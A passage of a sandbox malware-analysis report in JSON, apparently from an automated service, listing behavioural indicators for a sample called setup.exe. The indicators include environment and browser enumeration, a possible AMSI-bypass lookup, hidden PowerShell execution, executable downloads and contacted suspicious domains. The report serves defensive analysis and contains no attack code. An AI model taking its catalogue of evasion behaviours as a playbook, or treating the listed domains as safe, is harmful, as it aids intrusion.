Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"setup.exe\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"setup.exe\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007752-15883-1941-00FA1821","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00007752-15883-1941-00FA1821\n GetSystemTimePreciseAsFileTime@KERNEL32.DLL at 00000000-00007752-15883-2727-00FA2722","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00000000-00007752-15883-175-00F81C57\n GetVersionExW@KERNEL32.DLL at 00000000-00007752-15883-1683-00F9DF9D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"$31","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"setup.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"setup.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.dll at 14636-2059-0040A419\n GetSystemInfo@KERNEL32.DLL at 00000000-00007752-15883-433-00F8A419","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"setup.exe\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"setup.exe\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver\" (Indicator: \"ver\") in Source: 00000000-00006612.00000001.214679.D56D0000.00000004.mdmp\n 00000000-00006612.00000002.216597.D56D0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 14636-3781-00430FB7\n GetProcessHeap@KERNEL32.DLL at 00000000-00007752-15883-2808-00FB0FB7","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0006h\" and \"je 00F81CA0h\" at 00000000-00007752-15883-175-00F81C57","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$34","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"setup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"setup.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\ZEN.EXE\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MULLVADBROWSER.EXE\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\FLOORP.EXE\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\ICECAT.EXE\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\ICEDRAGON.EXE\")\n \"setup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CYBERFOX.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA STREAM excessive retransmissions\" (SID: 2210054, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA STREAM ESTABLISHED invalid ack\" (SID: 2210029, Rev: 3, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA STREAM Packet with invalid ack\" (SID: 2210045, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA STREAM ESTABLISHED packet out of window\" (SID: 2210020, Rev: 3, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA STREAM SHUTDOWN RST invalid ack\" (SID: 2210046, Rev: 3, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"setup.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"setup.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00007752)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134220902912636236.6612.DefaultAppDomain.powershell\" - (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"turbine.grandauto.cfd\"\n \"ootip.submergejunkie.life\"\n \"jsonplaceholder.typicode.com\"\n \"registry.npmjs.org\"\n \"api.github.com\"\n \"hub.docker.com\"\n \"aka.ms\"\n \"grantt.qumarox.icu\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.67.174.88:443\"\n \"104.21.75.214:443\"\n \"172.67.167.151:443\"\n \"104.16.9.34:443\"\n \"140.82.112.5:443\"\n \"104.18.43.187:443\"\n \"23.38.161.245:443\"\n \"57.150.61.65:443\"\n \"172.67.159.182:443\"\n \"151.101.192.223:443\"\n \"213.188.196.246:443\"\n \"150.171.109.185:443\"\n \"54.198.84.224:443\"\n \"52.85.61.122:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"setup.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.dll at 14636-2604-00418E6C\n SetTimer at 14636-3692-00418CC6\n WaitForSingleObject@KERNEL32.DLL at 00000000-00007752-15883-215-00F865E4\n Sleep@KERNEL32.DLL at 00000000-00007752-15883-1073-00F98E6C\n WaitForSingleObject@KERNEL32.DLL at 00000000-00007752-15883-1764-00F9EE57\n Sleep@KERNEL32.DLL at 00000000-00007752-15883-1833-00FA05E9\n SetTimer at 00000000-00007752-15883-2757-00F98CC6\n Sleep@KERNEL32.DLL at 00000000-00007752-15883-2805-00FA2443","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00007752-15883-175-00F81C57\n LoadLibraryExW@KERNEL32.DLL at 00000000-00007752-15883-1995-00FA6183","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"setup.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"setup.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"setup.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$38","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6612:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6612:120:WilError_01\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile\"\n Process powershell.exe created mutex with name \"SM0:6612:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"Local\\SM0:6612:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"SM0:6612:120:WilError_01\"\n Process powershell.exe created mutex with name \"Global\\RasPbFile\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:6612:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"%WINDIR%\\\\Sysnative\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -NoP -NoLogo -NonI -Command -\" (UID: 00000000-00006612)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"setup.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134220902912636236.6612.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3a","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$3b","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"dllhost.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 71330000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 5F1B0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"dllhost.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 712D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 7AC80000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"setup.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 751D0000\n \"setup.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73960000\n \"dllhost.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 751D0000\n \"dllhost.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73960000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 8CCC0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 8C360000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"dllhost.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 72810000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 67440000","origin":"Loaded 